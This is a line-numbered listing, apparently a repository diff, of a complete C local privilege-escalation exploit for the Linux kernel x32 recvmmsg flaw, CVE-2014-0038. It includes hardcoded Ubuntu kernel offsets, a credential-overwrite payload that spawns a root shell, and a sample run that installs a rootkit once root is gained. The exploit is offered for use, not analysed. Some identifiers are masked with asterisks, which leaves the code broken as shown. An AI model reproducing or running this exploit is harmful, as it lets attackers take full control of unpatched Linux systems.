1+ /*
2+ *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
3+ recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
4+ CVE-2014-0038 / x32 ABI with recvmmsg
5+ by rebel @ irc.smashthestack.org
6+ -----------------------------------
7+
8+ takes about 13 minutes to run because timeout->tv_sec is decremented
9+ once per second and 0xff*3 is 765.
10+
11+ some things you could do while waiting:
12+ * read https://wiki.ubuntu.com/Security/Features and smirk a few times
13+ * brew some coffee
14+ * stare at the countdown giggly with anticipation
15+
16+ could probably whack the high bits of some pointer with nanoseconds,
17+ but that would require a bunch of nulls before the pointer and then
18+ reading an oops from dmesg which isn't that elegant.
19+
20+ &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
21+
22+ hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
23+ anyway..
24+
25+ same principle will work on 32bit but I didn't really find any major
26+ distros shipping with CONFIG_X86_X32=y
27+
28+ user@ubuntu:~$ u**** -a
29+ Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
30+ user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
31+ user@ubuntu:~$ ./recvmmsg
32+ byte 3 / 3.. ~0 secs left.
33+ w00p w00p!
34+ # id
35+ uid=0(root) gid=0(root) groups=0(root)
36+ # sh phalanx-2.6b-x86_64.sh
37+ unpacking..
38+
39+ :)=
40+
41+ greets to my homeboys kaliman, beist, capsl & all of #social
42+
43+ Sat Feb 1 22:15:19 CET 2014
44+ % rebel %
45+ *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
46+ */
47+ 48+ #define _GNU_SOURCE
49+ #include <netinet/ip.h>
50+ #include <stdio.h>
51+ #include <stdlib.h>
52+ #include <string.h>
53+ #include <sys/socket.h>
54+ #include <unistd.h>
55+ #include <sys/syscall.h>
56+ #include <sys/mman.h>
57+ #include <sys/types.h>
58+ #include <sys/stat.h>
59+ #include <fcntl.h>
60+ #include <sys/uts****.h>
61+ 62+ #define __X32_SYSCALL_BIT 0x40000000
63+ #undef __NR_recvmmsg
64+ #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
65+ #define VLEN 1
66+ #define BUFSIZE 200
67+ 68+ int port ;
69+ 70+ struct offset {
71+ char * kernel_version ;
72+ unsigned long dest ; // net_sysctl_root + 96
73+ unsigned long original_value ; // net_ctl_permissions
74+ unsigned long prepare_kernel_cred ;
75+ unsigned long commit_creds ;
76+ };
77+ 78+ struct offset offsets [] = {
79+ {"3.11.0-15-generic" ,0xffffffff81cdf400 + 96 ,0xffffffff816d4ff0 ,0xffffffff8108afb0 ,0xffffffff8108ace0 }, // Ubuntu 13.10
80+ {"3.11.0-12-generic" ,0xffffffff81cdf3a0 ,0xffffffff816d32a0 ,0xffffffff8108b010 ,0xffffffff8108ad40 }, // Ubuntu 13.10
81+ {"3.8.0-19-generic" ,0xffffffff81cc7940 ,0xffffffff816a7f40 ,0xffffffff810847c0 , 0xffffffff81084500 }, // Ubuntu 13.04
82+ {NULL ,0 ,0 ,0 ,0 }
83+ };
84+ 85+ void udp (int b ) {
86+ int sockfd ;
87+ struct sockaddr_in servaddr ,cliaddr ;
88+ int s = 0xff + 1 ;
89+ 90+ if (fork () == 0 ) {
91+ while (s > 0 ) {
92+ fprintf (stderr ,"\rbyte %d / 3.. ~%d secs left \b\b\b\b" ,b + 1 ,3 * 0xff - b * 0xff - (0xff + 1 - s ));
93+ sleep (1 );
94+ s -- ;
95+ fprintf (stderr ,"." );
96+ }
97+ 98+ sockfd = socket (AF_INET ,SOCK_DGRAM ,0 );
99+ bzero (& servaddr ,sizeof (servaddr ));
100+ servaddr .sin_family = AF_INET ;
101+ servaddr .sin_addr .s_addr = htonl (INADDR_LOOPBACK );
102+ servaddr .sin_port = htons (port );
103+ sendto (sockfd ,"1" ,1 ,0 ,(struct sockaddr * )& servaddr ,sizeof (servaddr ));
104+ exit (0 );
105+ }
106+ 107+ }
108+ 109+ void trigger () {
110+ open ("/proc/sys/net/core/somaxconn" ,O_RDONLY );
111+ 112+ if (getuid () != 0 ) {
113+ fprintf (stderr ,"not root, ya blew it!\n" );
114+ exit (-1 );
115+ }
116+ 117+ fprintf (stderr ,"w00p w00p!\n" );
118+ system ("/bin/sh -i" );
119+ }
120+ 121+ typedef int __attribute__ ((regparm (3 ))) (* _commit_creds )(unsigned long cred );
122+ typedef unsigned long __attribute__((regparm (3 ))) (* _prepare_kernel_cred )(unsigned long cred );
123+ _commit_creds commit_creds ;
124+ _prepare_kernel_cred prepare_kernel_cred ;
125+ 126+ // thx bliss
127+ static int __attribute__((regparm (3 )))
128+ getroot (void * head , void * table )
129+ {
130+ commit_creds (prepare_kernel_cred (0 ));
131+ return -1 ;
132+ }
133+ 134+ void __attribute__((regparm (3 )))
135+ trampoline ()
136+ {
137+ asm("mov $getroot, %rax; call *%rax;" );
138+ }
139+ 140+ int main (void )
141+ {
142+ int sockfd , retval , i ;
143+ struct sockaddr_in sa ;
144+ struct mmsghdr msgs [VLEN ];
145+ struct iovec iovecs [VLEN ];
146+ char buf [BUFSIZE ];
147+ long mmapped ;
148+ struct uts * * * * u ;
149+ struct offset * off = NULL ;
150+ 151+ u * * * * (& u );
152+ 153+ for (i = 0 ;offsets [i ].kernel_version != NULL ;i ++ ) {
154+ if (!strcmp (offsets [i ].kernel_version ,u .release )) {
155+ off = & offsets [i ];
156+ break ;
157+ }
158+ }
159+ 160+ if (!off ) {
161+ fprintf (stderr ,"no offsets for this kernel version..\n" );
162+ exit (-1 );
163+ }
164+ 165+ mmapped = (off -> original_value & ~(sysconf (_SC_PAGE_SIZE ) - 1 ));
166+ mmapped &= 0x000000ffffffffff ;
167+ 168+ srand (time (NULL ));
169+ port = (rand () % 30000 )+ 1500 ;
170+ 171+ commit_creds = (_commit_creds )off -> commit_creds ;
172+ prepare_kernel_cred = (_prepare_kernel_cred )off -> prepare_kernel_cred ;
173+ 174+ mmapped = (long )mmap ((void * )mmapped , sysconf (_SC_PAGE_SIZE )* 3 , PROT_READ |PROT_WRITE |PROT_EXEC , MAP_PRIVATE |MAP_ANONYMOUS |MAP_FIXED , 0 , 0 );
175+ 176+ if (mmapped == -1 ) {
177+ perror ("mmap()" );
178+ exit (-1 );
179+ }
180+ 181+ memset ((char * )mmapped ,0x90 ,sysconf (_SC_PAGE_SIZE )* 3 );
182+ 183+ memcpy ((char * )mmapped + sysconf (_SC_PAGE_SIZE ), (char * )& trampoline , 300 );
184+ 185+ if (mprotect ((void * )mmapped , sysconf (_SC_PAGE_SIZE )* 3 , PROT_READ |PROT_EXEC ) != 0 ) {
186+ perror ("mprotect()" );
187+ exit (-1 );
188+ }
189+ 190+ sockfd = socket (AF_INET , SOCK_DGRAM , 0 );
191+ if (sockfd == -1 ) {
192+ perror ("socket()" );
193+ exit (-1 );
194+ }
195+ 196+ sa .sin_family = AF_INET ;
197+ sa .sin_addr .s_addr = htonl (INADDR_LOOPBACK );
198+ sa .sin_port = htons (port );
199+ 200+ if (bind (sockfd , (struct sockaddr * ) & sa , sizeof (sa )) == -1 ) {
201+ perror ("bind()" );
202+ exit (-1 );
203+ }
204+ 205+ memset (msgs , 0 , sizeof (msgs ));
206+ 207+ iovecs [0 ].iov_ * * * * = & buf ;
208+ iovecs [0 ].iov_len = BUFSIZE ;
209+ msgs [0 ].msg_hdr .msg_iov = & iovecs [0 ];
210+ msgs [0 ].msg_hdr .msg_iovlen = 1 ;
211+ 212+ for (i = 0 ;i < 3 ;i ++ ) {
213+ udp (i );
214+ retval = syscall (__NR_recvmmsg , sockfd , msgs , VLEN , 0 , (void * )off -> dest + 7 - i );
215+ if (!retval ) {
216+ fprintf (stderr ,"\nrecvmmsg() failed\n" );
217+ }
218+ }
219+ 220+ close (sockfd );
221+ 222+ fprintf (stderr ,"\n" );
223+ 224+ trigger ();
225+ }
0 commit comments